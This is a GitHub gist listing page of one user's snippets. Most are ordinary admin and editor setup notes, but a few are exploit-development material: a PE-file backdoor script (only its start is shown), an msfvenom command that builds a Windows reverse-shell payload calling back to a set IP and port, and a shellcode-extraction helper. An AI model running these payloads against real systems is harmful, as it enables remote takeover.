Skip to content

Instantly share code, notes, and snippets.

Avatar

Kevin Kirsche kkirsche

View GitHub Profile
@kkirsche
kkirsche / backdoor.py
Last active Sep 20, 2018
Backdoor a PE file
View backdoor.py
#!/usr/bin/env python2
import mmap
import os
import pefile
def align(val_to_align, alignment):
return ((val_to_align + alignment - 1) / alignment) * alignment
@kkirsche
kkirsche / dump.sh
Last active Sep 19, 2018
MSF to Raw Hex
View dump.sh
#!/bin/sh
# Note: the grep -v removes a line with no actual shellcode on it, it doesn't remove code
msfvenom windows/shell_reverse_tcp LHOST=192.168.30.10 LPORT=443 EXITFUNC=none --arch x86 --platform Windows --encoder generic/none --format raw | hexdump -C | grep -v 00000144 | cut -d" " -f3-19 | sed 's/ //g' | tr -d '\n'
@kkirsche
kkirsche / Prereqs.md
Last active Aug 23, 2018
NASM Course Requirements
View Prereqs.md
@kkirsche
kkirsche / vim8.x_with_lua
Created Jul 28, 2018 — forked from techgaun/vim8.x_with_lua
Install vim with lua support on ubuntu 16.04
View vim8.x_with_lua
I needed to install vim with lua support because I wanted to use neocomplete in my recently installed 15.04 distro. Also, this has python3 enabled by default.
Tested on 16.04 now
Update: This has been tested and verified to work on Ubuntu 16.04 as well. Also, if you wish to use particular branch/tag, you can get the version and then checkout appropriately.
The following (based upon https://gist.github.com/jdewit/9818870) should work though I copied it from history:
sudo apt-get remove --purge vim vim-runtime vim-gnome vim-tiny vim-common vim-gui-common
sudo apt-get build-dep vim-gnome
sudo apt-get install build-essential liblua5.3-0 liblua5.3-dev python-dev ruby-dev libperl-dev libncurses5-dev libgnome2-dev libgnomeui-dev libgtk2.0-dev libatk1.0-dev libbonoboui2-dev libcairo2-dev libx11-dev libxpm-dev libxt-dev
@kkirsche
kkirsche / arch-linux-how-to
Created Jul 27, 2018
How to install arch linux 2018
View arch-linux-how-to
From https://paste.ubuntu.com/23956628/
Before installing Arch Linux, make sure your computer is connected to the internet.
# dhcpcd
# ping -c 3 archlinux.org
If none is available, stop the dhcpcd service with systemctl stop dhcpcd@<TAB> and see Network configuration. https://wiki.archlinux.org/index.php/Network_configuration#Device_driver
Partitioning Disk
@kkirsche
kkirsche / .vimrc
Last active Jul 27, 2018
Vim Configuration
View .vimrc
set nocompatible
syntax on
set nowrap
set encoding=utf8
set number
set tabstop=2
set expandtab
set autochdir
" Python ident
@kkirsche
kkirsche / is-restart-needed.sh
Created Jul 18, 2018
Checks if a CentOS system requires a reboot or not. Good for login processes
View is-restart-needed.sh
#!/bin/bash
# requires yum-utils to be installed
if ! needs-restarting -r 2>&1 >> /dev/null; then
echo '**System Restart Required**'
fi
@kkirsche
kkirsche / helper.sh
Last active Jul 10, 2018
Shellcode C Harness
View helper.sh
#!/bin/bash
if [ $# -ne 1 ]; then
echo "{$0} <program to dump as shellcode>"
exit 1
fi
# https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump
objdump -d ./${1}|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
@kkirsche
kkirsche / filesystem_loader.py
Last active Apr 25, 2018
Jinja Environments
View filesystem_loader.py
from jinja2 import Environment, FileSystemLoader, select_autoescape
jinja_env = Environment(loader=FileSystemLoader('/path/to/templates', followlinks=True), autoescape=select_autoescape([]))
tmpl = jinja_env.get_template('template_name')
view = tmpl.render(values=values)
@kkirsche
kkirsche / python-setup.txt
Last active Apr 11, 2018
CentOS 7 Python / Sublime Text Setup
View python-setup.txt
# Installation
sudo yum update
sudo yum install -y epel-release
sudo yum install -y python34 python34-setuptools
sudo easy_install-3.4 pip
# Project Setup
mkdir -p ~/dev/project_name
cd ~/dev/project_name
python3 -m venv venv